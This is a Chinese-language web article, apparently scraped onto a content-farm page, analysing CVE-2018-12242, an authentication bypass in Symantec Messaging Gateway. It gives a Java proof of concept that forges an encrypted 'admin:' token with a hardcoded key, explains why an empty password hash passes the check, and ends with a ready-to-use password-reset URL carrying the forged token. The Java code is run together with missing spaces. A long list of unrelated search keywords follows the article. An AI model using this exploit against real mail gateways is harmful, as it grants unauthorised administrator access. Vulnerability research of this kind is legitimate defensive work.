怎么实现CVE-2018-12242漏洞分析
发表于:2024-09-24 作者:千家信息网编辑
千家信息网最后更新 2024年09月24日,怎么实现CVE-2018-12242漏洞分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。CVE-2018-12242手里有symant
千家信息网最后更新 2024年09月24日怎么实现CVE-2018-12242漏洞分析
怎么实现CVE-2018-12242漏洞分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。
CVE-2018-12242
手里有symantec的源码 于是立刻就分析了 存在手里一直没动
先上poc
import java.security.SecureRandom;import javax.crypto.Cipher;import javax.crypto.SecretKey;import javax.crypto.SecretKeyFactory;import javax.crypto.spec.PBEKeySpec;import javax.crypto.spec.PBEParameterSpec;import sun.misc.BASE64Encoder;public class Test{ publicstatic void main(String args[]){ try{ //System.out.print(123); byte[]salt = new byte[8]; SecureRandomrandom = SecureRandom.getInstance("SHA1PRNG"); random.nextBytes(salt); PBEKeySpeckeySpec = newPBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=".toCharArray()); SecretKeyFactorykeyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES"); SecretKeykey = keyFactory.generateSecret(keySpec); PBEParameterSpecparamSpec = new PBEParameterSpec(salt, 1000); Ciphercipher = Cipher.getInstance("PBEWithMD5AndDES"); cipher.init(1,key, paramSpec); //byte[]salt; BASE64Encoderencoder = new BASE64Encoder(); StringsaltString = encoder.encode(salt); Stringtext = "admin:"; byte[]ciphertext = cipher.doFinal(text.getBytes()); StringciphertextString = encoder.encode(ciphertext); System.out.print(saltString+ ciphertextString); }catch(Exception e){ System.out.print(e); } }}
核心还是在加密解密这块
加密算法一直是固定的
但是FIPS186PRNG这个算法太古老了
只能拿SHA1PRNG代替
接下来分析一波漏洞触发点
token = BrightmailDecrypt.decrypt(token);
接收到token用公共的解密方法解密
解密之后按 " : "
分割 前面为username 后面为 passwordhash
然后按username做sql查询
然后调用getAdministratorUserByName方法
GetSQLAdministratorUserByName生成sql语句
然后查询
接着对比
如果user为空会抛出一个不存在该用户的异常
如果passwordhash与查询到的passwordhash不一致也会抛出异常
那么passwordhash是什么呢
在开启重置密码选项后 该字段为空。。。
然后创建一个admin session的正常操作….
那么最终payload为
/brightmail/action2.do?method=passwordReset&authorization=S9m%2bdmCBN8k%3dfot%2fxYG299k%3d
看完上述内容,你们掌握怎么实现CVE-2018-12242漏洞分析的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!
分析
方法
漏洞
查询
漏洞分析
内容
更多
算法
问题
加密
古老
一致
束手无策
为此
接下来
加密解密
原因
字段
密码
对此
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
网络安全信息共亨机制
如何隐藏表格的部分数据库
学软件开发学习什么基础知识
网络安全责任制综述
信多多 北京 网络技术有限公司
杭州互联网科技园
神经网络技术优点
哪里有python软件开发
杭州软件开发价格多少
工行省分行 软件开发
珍猪菜网络技术有限责任公司
联发科技通信软件开发工程师
普陀区管理软件开发推荐咨询
天津视频软件开发
杭州快门网络技术怎么样
软件开发的八种模型
广州网络技术服务有限公司
浙江格家网络技术有限公司金庭
湖南ipfs服务器云主机
德清县手机应用软件开发
删除数据库表格的内容
服务器+安全扫描工具
p12证书能直接复制到服务器吗
甲骨文数据库培训机构
水晶网络安全
计算机网络技术谢树新答案
教育局网络安全调研
网络安全国赛
阴阳师哪个服务器
扫肉鸡服务器